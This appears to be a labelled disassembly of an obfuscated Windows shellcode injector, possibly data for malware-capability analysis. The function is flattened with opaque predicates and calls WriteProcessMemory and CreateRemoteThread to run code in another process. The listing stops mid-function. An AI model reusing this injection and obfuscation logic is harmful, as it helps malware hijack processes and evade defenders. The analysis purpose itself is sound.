Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rax, qword [0x140035008]
xor rax, rbp
mov qword [rbp + 0x20], rax
mov eax, dword [0x140035ab0]
mov ebx, dword [0x140035ab4]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
sete byte [rbp - 0x11]
cmp ebx, 0xa
setl byte [rbp - 0x12]
mov qword [rbp - 0x30], rdx
mov dword [rbp - 0x54], ecx
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 0x4cebb181
jmp 0x140001070
mov eax, 0x90c2ec5b
nop word cs:[rax + rax]
nop
cmp eax, 0xff8c317d
jle 0x1400010f0
cmp eax, 0x3c8f6007
jle 0x1400011b0
cmp eax, 0x5f115919
jg 0x1400012dd
cmp eax, 0x4bcb6c54
jg 0x140001539
cmp eax, 0x43dcda7c
jle 0x140001957
cmp eax, 0x479870b2
jg 0x140002192
cmp eax, 0x4579fa81
jg 0x140002d97
cmp eax, 0x4449032f
jle 0x1400048a9
cmp eax, 0x447564cf
jg 0x140007a68
cmp eax, 0x44490330
je 0x14000a666
cmp eax, 0x444cbbd6
jne 0x140001070
mov eax, 0x1e29b9bc
jmp 0x140001070
cmp eax, 0xc08f4339
jg 0x140001270
cmp eax, 0xa0c306fc
jg 0x140001381
cmp eax, 0x91d00e4b
jg 0x1400015c1
cmp eax, 0x898544ec
jle 0x1400019c4
cmp eax, 0x8ea2dfa3
jg 0x140002225
cmp eax, 0x8cc26b0d
jg 0x140002dcd
cmp eax, 0x8a91ce86
jle 0x1400048d4
cmp eax, 0x8b304fc4
jg 0x140007ac1
cmp eax, 0x8a91ce87
je 0x14000a6b3
cmp eax, 0x8aaced5c
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
mov ebx, ecx
xor bl, dl
xor cl, al
xor dl, al
test cl, cl
mov eax, 0x22e8c664
mov ecx, 0x67fa8c3f
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x140001070
cmp eax, 0x208fbd60
jg 0x1400013e3
cmp eax, 0x10c61e45
jg 0x14000167f
cmp eax, 0x7bfe223
jle 0x140001a31
cmp eax, 0xc4cbb8f
jg 0x140002266
cmp eax, 0x9e853b4
jg 0x140002e24
cmp eax, 0x8ef4b68
jle 0x140004925
cmp eax, 0x98c8804
jg 0x140007b3c
cmp eax, 0x8ef4b69
je 0x14000a6f6
cmp eax, 0x8f5df57
jne 0x140001070
mov eax, dword [0x140035ab0]
mov ecx, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setl bl
xor bl, al
mov edi, 0x42750b17
mov esi, 0xc0b9f200
cmovne edi, esi
test dl, 1
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovl eax, edi
test dl, 1
mov edx, 0xc0b9f200
cmove edx, eax
cmp ecx, 0xa
cmovl edx, eax
test bl, bl
mov eax, 0x42750b17
cmovne edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0xe1c5e554
jg 0x140001463
cmp eax, 0xd239fa1c
jg 0x1400016d6
cmp eax, 0xcc4fc216
jle 0x140001aae
cmp eax, 0xd033ae17
jg 0x1400022dc
cmp eax, 0xcdf06059
jg 0x140002ead
cmp eax, 0xccea3802
jle 0x140004981
cmp eax, 0xcd11715f
jg 0x140007b7d
cmp eax, 0xccea3803
je 0x14000a752
cmp eax, 0xccf3229c
jne 0x140001070
mov eax, 0x224a30d6
jmp 0x140001070
cmp eax, 0x6e1bbd99
jg 0x14000175b
cmp eax, 0x66c6f700
jle 0x140001bac
cmp eax, 0x6b27a029
jg 0x14000231d
cmp eax, 0x68e83932
jg 0x140002ee3
cmp eax, 0x67f09a70
jle 0x1400049ac
cmp eax, 0x67fecced
jg 0x140007bee
cmp eax, 0x67f09a71
je 0x14000a77d
cmp eax, 0x67fa8c3f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
or cl, bl
and cl, al
and dl, r8b
or bl, r8b
xor bl, dl
xor bl, cl
mov ecx, 0xdd0cc6d3
mov edx, 0x9a7a9ca9
cmovne ecx, edx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0xb343fa37
jg 0x1400017ea
cmp eax, 0xa916bef4
jle 0x140001c19
cmp eax, 0xae265259
jg 0x140002384
cmp eax, 0xac88f451
jg 0x140002f37
cmp eax, 0xaaefc8f1
jle 0x1400049d7
cmp eax, 0xabbb21ea
jg 0x140007c5f
cmp eax, 0xaaefc8f2
je 0x14000a7a8
cmp eax, 0xab526e36
jne 0x140001070
mov eax, 0x60d9f304
jmp 0x140001070
cmp eax, 0x2dade427
jg 0x140001867
cmp eax, 0x26b4ff1f
jle 0x140001cae
cmp eax, 0x2962bc55
jg 0x1400023e6
cmp eax, 0x2839927b
jg 0x140002f6d
cmp eax, 0x26e45d74
jle 0x140004a36
cmp eax, 0x26f3fd8b
jg 0x140007cb0
cmp eax, 0x26e45d75
je 0x14000a7d3
cmp eax, 0x26f1fe26
jne 0x140001070
mov rcx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x381
lea rdx, section..rdata
call fcn.140015e20
add rsp, 0x20
mov eax, 0x9800c2f6
jmp 0x140001070
cmp eax, 0xf142d660
jg 0x1400018df
cmp eax, 0xe9a07a7a
jle 0x140001cfa
cmp eax, 0xed7da360
jg 0x140002448
cmp eax, 0xecc0fc00
jg 0x140002fb7
cmp eax, 0xea85fc10
jle 0x140004a87
cmp eax, 0xeab59903
jg 0x140007cf1
cmp eax, 0xea85fc11
je 0x14000a7f1
cmp eax, 0xea89fe04
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl bl
mov eax, ebx
xor al, r8b
mov ecx, ebx
and cl, r8b
xor cl, 1
mov edx, eax
xor dl, 1
or dl, cl
xor cl, al
mov r9d, edx
xor r9b, cl
or bl, r8b
movzx ebx, bl
movzx eax, al
test dl, dl
cmovne eax, ebx
mov ebx, eax
or bl, cl
mov ecx, ebx
not cl
movzx ecx, cl
test r9b, r9b
cmovne ecx, eax
test cl, 1
mov eax, 0xd302915f
mov ecx, 0xf5475f12
cmovne eax, ecx
test bl, bl
mov ecx, 0xf5475f12
cmovne ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x55bac654
jle 0x140001d74
cmp eax, 0x598193db
jg 0x1400024aa
cmp eax, 0x578825e0
jg 0x140003056
cmp eax, 0x56d07149
jle 0x140004b04
cmp eax, 0x56eab32e
jg 0x140007d32
cmp eax, 0x56d0714a
je 0x14000a7fb
cmp eax, 0x56e63f9b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x200fe48
mov ecx, 0x319e44c1
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x994ad848
jle 0x140001dc0
cmp eax, 0x9e9408b5
jg 0x1400024eb
cmp eax, 0x9c50fe65
jg 0x1400030ad
cmp eax, 0x9bfd597f
jle 0x140004b50
cmp eax, 0x9c14d30e
jg 0x140007d93
cmp eax, 0x9bfd5980
je 0x14000a88c
cmp eax, 0x9c114e02
jne 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
mov edi, 0x2659970a
mov esi, 0xa3dc0815
cmove edi, esi
cmp dword [0x140035ab4], 0xa
setl r8b
mov edx, 0x2659970a
cmovge edi, edx
setge bl
and bl, cl
xor cl, r8b
xor bl, cl
or al, r8b
and cl, al
mov edx, eax
or dl, bl
xor dl, cl
mov ecx, eax
xor cl, bl
test dl, dl
cmove edi, esi
test bl, bl
mov edx, edi
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
cmove edx, esi
mov eax, edx
jmp 0x140001070
cmp eax, 0x1804a015
jle 0x140001e2d
cmp eax, 0x1c4150c8
jg 0x14000252c
cmp eax, 0x1b2a4ff2
jg 0x140003104
cmp eax, 0x19cfe9b7
jle 0x140004bbc
cmp eax, 0x1b15f949
jg 0x140007dd9
cmp eax, 0x19cfe9b8
je 0x14000a8b7
cmp eax, 0x1af86894
jne 0x140001070
mov eax, 0xa490bb35
jmp 0x140001070
cmp eax, 0xda4f4c30
jle 0x140001e9f
cmp eax, 0xdd6fbb74
jg 0x14000258e
cmp eax, 0xdae0d0f2
jg 0x14000315b
cmp eax, 0xda754ffe
jle 0x140004be7
cmp eax, 0xdab3f186
jg 0x140007e1a
cmp eax, 0xda754fff
je 0x14000a8e2
cmp eax, 0xdaa9ce4b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xed40f0e9
mov ebx, 0x118840ba
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x7861a345
jle 0x140001f15
cmp eax, 0x7c3dfbcf
jg 0x1400025f5
cmp eax, 0x7a2b7bcb
jg 0x140003207
cmp eax, 0x79174810
jle 0x140004c38
cmp eax, 0x797f3487
jg 0x140007e3a
cmp eax, 0x79174811
je 0x14000a925
cmp eax, 0x7954a0c6
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, ecx
and bl, al
or cl, al
mov eax, ebx
xor al, 1
or al, dl
and al, cl
xor al, bl
mov eax, 0x41270be8
mov ecx, 0x234b500a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xba01c461
jle 0x140001fca
cmp eax, 0xbea58b0e
jg 0x140002636
cmp eax, 0xbc491ccd
jg 0x14000325e
cmp eax, 0xba9d3df7
jle 0x140004c98
cmp eax, 0xbb060aad
jg 0x140007e93
cmp eax, 0xba9d3df8
je 0x14000a979
cmp eax, 0xbac4e1a9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa9b0b482
mov ecx, 0x29415139
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xa9b0b482
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x34f57191
jle 0x140002054
cmp eax, 0x389a0fdb
jg 0x1400026cb
cmp eax, 0x36c3db16
jg 0x1400032d0
cmp eax, 0x35f012aa
jle 0x140004d15
cmp eax, 0x363d110a
jg 0x140007eb3
cmp eax, 0x35f012ab
je 0x14000a9a4
cmp eax, 0x36352e70
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe8efa8bc
mov ecx, 0x983f80fc
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf88b4fa0
jle 0x1400020a0
cmp eax, 0xfb5049df
jg 0x14000270c
cmp eax, 0xfa3ee834
jg 0x140003327
cmp eax, 0xf9883f6f
jle 0x140004d84
cmp eax, 0xf9c52a01
jg 0x140007ed3
cmp eax, 0xf9883f70
je 0x14000a9ae
cmp eax, 0xf9af6c4b
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x368fffde
mov ecx, 0x4fa848c5
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3f49abf0
jg 0x140002773
cmp eax, 0x3e02598c
jg 0x14000335d
cmp eax, 0x3d5d5e32
jle 0x140004e01
cmp eax, 0x3d8c7b61
jg 0x140007f14
cmp eax, 0x3d5d5e33
je 0x14000a9f2
cmp eax, 0x3d8461ff
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc8ca1594
mov ecx, 0xf88b4fa1
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x83b162ad
jle 0x1400027c2
cmp eax, 0x853e5066
jg 0x1400033e1
cmp eax, 0x849f8bb3
jle 0x140004e77
cmp eax, 0x84eca19e
jg 0x140007f98
cmp eax, 0x849f8bb4
je 0x14000aa37
cmp eax, 0x84caa702
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd18b2776
mov ecx, 0x17d7b04
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3f105cd
jle 0x140002803
cmp eax, 0x65f8fd7
jg 0x140003417
cmp eax, 0x4838a85
jle 0x140004ec3
cmp eax, 0x5fc0473
jg 0x140008000
cmp eax, 0x4838a86
je 0x14000aa41
cmp eax, 0x4d62f18
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x849f8bb4
mov ecx, 0x64b45b8
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xc80c4bdd
jle 0x140002892
cmp eax, 0xc9cb1294
jg 0x14000346e
cmp eax, 0xc8ca1593
jle 0x140004f85
cmp eax, 0xc96f4e79
jg 0x14000807c
cmp eax, 0xc8ca1594
je 0x14000aab2
cmp eax, 0xc8f09898
jne 0x140001070
mov eax, dword [0x140035ab0]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete bl
cmp dword [0x140035ab4], 0xa
setge cl
setl al
mov r8d, eax
and dl, al
xor al, bl
and r8b, bl
mov r9d, r8d
xor r9b, 1
or cl, bl
xor dl, al
and al, cl
mov ebx, edx
xor bl, 1
or bl, cl
or cl, dl
xor cl, al
mov eax, ebx
xor al, 1
and al, dl
or bl, cl
xor cl, 1
or cl, al
xor bl, 1
or bl, cl
mov eax, ebx
or al, r9b
mov edx, ebx
xor dl, 1
and dl, r8b
xor r9b, bl
or dl, r9b
mov ecx, r9d
xor cl, al
xor dl, al
xor al, 1
or cl, al
or dl, r9b
mov eax, ecx
xor al, dl
xor al, 1
xor dl, 1
and dl, cl
or dl, al
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
movzx eax, al
movzx ecx, bl
test r9b, 1
cmove ecx, eax
and al, r9b
or al, cl
mov ecx, eax
not cl
and cl, dl
xor al, dl
xor al, cl
test al, 1
mov eax, 0xbeb8099
mov ecx, 0x91434a4a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x632d8cb7
jle 0x1400028f4
cmp eax, 0x650edf54
jg 0x1400034cd
cmp eax, 0x636d014e
jle 0x140004fb0
cmp eax, 0x64302f1a
jg 0x1400080d8
cmp eax, 0x636d014f
je 0x14000aac0
cmp eax, 0x63b402e7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1f28256f
mov ecx, 0x6b5c17d4
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xa490bb34
jle 0x140002935
cmp eax, 0xa7594195
jg 0x140003549
cmp eax, 0xa52f9268
jle 0x140004fdb
cmp eax, 0xa6886d32
jg 0x14000814c
cmp eax, 0xa52f9269
je 0x14000aaca
cmp eax, 0xa5ef3901
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
and bl, al
mov ecx, edx
xor cl, al
or dl, al
mov eax, ebx
xor al, 1
or cl, al
and cl, dl
xor al, cl
mov edx, 0x6b21e61
mov eax, 0xfa4f203e
cmovne edx, eax
test cl, cl
mov eax, edx
mov ecx, 0x6b21e61
cmovne eax, ecx
test bl, bl
cmove eax, edx
jmp 0x140001070
cmp eax, 0x2346e099
jle 0x140002976
cmp eax, 0x24c07301
jg 0x1400035a0
cmp eax, 0x241b4429
jle 0x140005006
cmp eax, 0x246a534f
jg 0x14000816c
cmp eax, 0x241b442a
je 0x14000aad4
cmp eax, 0x243aa0db
jne 0x140001070
mov eax, 0xfaa02e
jmp 0x140001070
cmp eax, 0xe657b6f1
jle 0x1400029d8
cmp eax, 0xe7d2255d
jg 0x140003626
cmp eax, 0xe71f30b5
jle 0x14000509e
cmp eax, 0xe77b0354
jg 0x1400081e6
cmp eax, 0xe71f30b6
je 0x14000aade
cmp eax, 0xe72d6629
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ecx, 0xd9827ff8
mov ebx, 0x4e9c4c18
cmove ecx, ebx
cmp dword [0x140035ab4], 0xa
cmovl ecx, ebx
setl dl
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x4fa848c4
jle 0x140002ada
cmp eax, 0x53577bbd
jg 0x14000367d
cmp eax, 0x51c29389
jle 0x140005106
cmp eax, 0x52378b68
jg 0x140008206
cmp eax, 0x51c2938a
je 0x14000aae8
cmp eax, 0x51d3fee1
jne 0x140001070
mov eax, 0x8ce8fe7d
jmp 0x140001070
cmp eax, 0x9527a8fd
jle 0x140002b3c
cmp eax, 0x975ced44
jg 0x1400036d4
cmp eax, 0x95df0c6e
jle 0x140005152
cmp eax, 0x964137e1
jg 0x140008247
cmp eax, 0x95df0c6f
je 0x14000ab13
cmp eax, 0x95edaf8f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb3e59329
mov ecx, 0x5571f930
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x14495fa9
jle 0x140002ba5
cmp eax, 0x16615792
jg 0x140003749
cmp eax, 0x15440831
jle 0x14000519e
cmp eax, 0x15dfc31e
jg 0x1400087b0
cmp eax, 0x15440832
je 0x14000ab3e
cmp eax, 0x155cfc2d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x67f09a71
mov ecx, 0xd9066ff2
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x67f09a71
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd5fda893
jle 0x140002be6
cmp eax, 0xd83b82b6
jg 0x1400037a0
cmp eax, 0xd75919f5
jle 0x1400051c9
cmp eax, 0xd7d2b143
jg 0x1400087d0
cmp eax, 0xd75919f6
je 0x14000abaa
cmp eax, 0xd7abdeb2
jne 0x140001070
mov rax, qword [rbp - 0x28]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7b69bf85
mov ecx, 0x4579fa82
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x7b69bf85
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x71e0c157
jle 0x140002c39
cmp eax, 0x760ff50a
jg 0x1400037f7
cmp eax, 0x732377fb
jle 0x14000521a
cmp eax, 0x7461ad4c
jg 0x14000882d
cmp eax, 0x732377fc
je 0x14000abb4
cmp eax, 0x7382e1c3
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
movzx ebx, dl
xor dl, 1
or cl, dl
mov edx, eax
xor dl, 1
movzx edx, dl
test cl, cl
cmove edx, ebx
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
and dl, al
mov ecx, ebx
xor cl, dl
or al, bl
xor al, cl
and dl, bl
mov ebx, edx
xor bl, al
not bl
or bl, al
and bl, dl
xor bl, cl
test bl, 1
mov eax, 0xda5d6905
mov ecx, 0xd92db713
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0xb7568338
jle 0x140002cb3
cmp eax, 0xb8d690fe
jg 0x14000382d
cmp eax, 0xb8616987
jle 0x140005266
cmp eax, 0xb8c821b3
jg 0x14000884d
cmp eax, 0xb8616988
je 0x14000abdf
cmp eax, 0xb871c28a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl dl
mov ebx, edx
and bl, al
mov ecx, eax
and cl, r8b
xor dl, al
xor cl, dl
or al, r8b
and al, dl
or al, cl
xor al, bl
mov eax, 0xd5fda894
mov ecx, 0xaf78cdf0
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x30fc2cec
jle 0x140002cf4
cmp eax, 0x334fe186
jg 0x140003863
cmp eax, 0x325d6cda
jle 0x1400052b9
cmp eax, 0x32f6d327
jg 0x14000888e
cmp eax, 0x325d6cdb
je 0x14000abe9
cmp eax, 0x32ab102b
jne 0x140001070
mov eax, 0x1968a4ac
jmp 0x140001070
cmp eax, 0xf35f6dbf
jle 0x140002d56
cmp eax, 0xf6ddbeae
jg 0x1400038ba
cmp eax, 0xf4174841
jle 0x140005322
cmp eax, 0xf4581fdd
jg 0x1400088ae
cmp eax, 0xf4174842
je 0x14000ac24
cmp eax, 0xf435a0af
jne 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
and dl, al
xor al, cl
mov ecx, eax
xor cl, dl
mov ecx, 0xecd3b4d0
mov ebx, 0x1d4b946a
cmovne ecx, ebx
test dl, dl
mov edx, ecx
cmovne edx, ebx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x140001070
cmp eax, 0x4a5d7a78
jg 0x140003929
cmp eax, 0x489eac6c
jle 0x14000536e
cmp eax, 0x48fcb024
jg 0x1400088da
cmp eax, 0x489eac6d
je 0x14000ac6c
cmp eax, 0x48a13020
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete cl
cmp edi, 0xa
setl bl
xor cl, bl
and bl, dl
mov r8d, ecx
xor r8b, bl
mov eax, ecx
xor al, 1
or al, bl
xor al, cl
mov eax, 0x7954a0c6
mov ecx, 0x41270be8
cmovne eax, ecx
test r8b, r8b
mov ebx, 0x7954a0c6
cmovne eax, ebx
test edx, edx
mov ecx, eax
cmove ecx, ebx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x9042c7ef
jg 0x14000395f
cmp eax, 0x8f49c627
jle 0x140005399
cmp eax, 0x8f684cea
jg 0x140008952
cmp eax, 0x8f49c628
je 0x14000ac76
cmp eax, 0x8f662608
jne 0x140001070
mov eax, 0x9cfc07f7
jmp 0x140001070
cmp eax, 0xeb3ebcd
jg 0x140003a04
cmp eax, 0xd44a9fc
jle 0x1400053c4
cmp eax, 0xdd076df
jg 0x140008972
cmp eax, 0xd44a9fd
je 0x14000aca1
cmp eax, 0xdbdf9a9
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Enable_to_retrieve_process_handle_..._n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x11ff3498
mov ecx, 0x6b27a02a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd0b8e0d5
jg 0x140003e1c
cmp eax, 0xd04caac5
jle 0x140005432
cmp eax, 0xd081c6e8
jg 0x140008992
cmp eax, 0xd04caac6
je 0x14000ad17
cmp eax, 0xd06fc7d5
jne 0x140001070
mov eax, 0xbd77a264
jmp 0x140001070
cmp eax, 0x6cad0be5
jg 0x140003e52
cmp eax, 0x6b9d02e4
jle 0x1400054ad
cmp eax, 0x6c1e44cb
jg 0x1400089d3
cmp eax, 0x6b9d02e5
je 0x14000ad5e
cmp eax, 0x6be6f123
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5293b6ea
mov ecx, 0xa6c763e1
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x5293b6ea
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xaf9baa97
jg 0x140003edb
cmp eax, 0xaec3e784
jle 0x140005501
cmp eax, 0xaf638fbd
jg 0x1400089f3
cmp eax, 0xaec3e785
je 0x14000ad68
cmp eax, 0xaef1d256
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa916bef5
mov ecx, 0xec7d0378
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x2b81849e
jg 0x140003f59
cmp eax, 0x2a9f8671
jle 0x14000552c
cmp eax, 0x2b3b0077
jg 0x140008a44
cmp eax, 0x2a9f8672
je 0x14000ad72
cmp eax, 0x2b1af402
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9dd3aca2
mov ecx, 0xcafe141b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xefd1ccb3
jg 0x140003fb0
cmp eax, 0xee6c02d8
jle 0x140005578
cmp eax, 0xeeb09139
jg 0x140008a85
cmp eax, 0xee6c02d9
je 0x14000adbc
cmp eax, 0xeeaae474
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xbfd0f4c7
mov ecx, 0x47c8e076
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x5c091533
jg 0x140004027
cmp eax, 0x5aa95703
jle 0x140005bcf
cmp eax, 0x5bafe920
jg 0x140008ad9
cmp eax, 0x5aa95704
je 0x14000ae25
cmp eax, 0x5b17fb56
jne 0x140001070
mov eax, 0x69a7964b
jmp 0x140001070
cmp eax, 0x9f79226f
jg 0x140004075
cmp eax, 0x9ef1b9c8
jle 0x140005c01
cmp eax, 0x9f30c1af
jg 0x140008b1a
cmp eax, 0x9ef1b9c9
je 0x14000ae79
cmp eax, 0x9f1879be
jne 0x140001070
mov eax, 0x15440832
jmp 0x140001070
cmp eax, 0x1e29b9bb
jg 0x140004112
cmp eax, 0x1d4b9469
jle 0x140005c2c
cmp eax, 0x1da244f0
jg 0x140008b5b
cmp eax, 0x1d4b946a
je 0x14000ae83
cmp eax, 0x1d99d7fb
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4026c7a
mov ecx, 0xf160a702
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdf70dbbc
jg 0x140004148
cmp eax, 0xde8212ab
jle 0x140005c78
cmp eax, 0xdee2238b
jg 0x140008b9c
cmp eax, 0xde8212ac
je 0x14000aeae
cmp eax, 0xdec77b7e
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x697e839
mov ecx, 0x84eca19f
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x697e839
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x7e56fac1
jg 0x14000417e
cmp eax, 0x7d319583
jle 0x140005cff
cmp eax, 0x7e4303b4
jg 0x140008bbc
cmp eax, 0x7d319584
je 0x14000aed9
cmp eax, 0x7e009cd8
jne 0x140001070
mov eax, 0xd545aea2
jmp 0x140001070
cmp eax, 0xbfd0f4c6
jg 0x140004207
cmp eax, 0xbeeb4806
jle 0x140005d68
cmp eax, 0xbf29ce8c
jg 0x140008c33
cmp eax, 0xbeeb4807
je 0x14000af38
cmp eax, 0xbf259d74
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
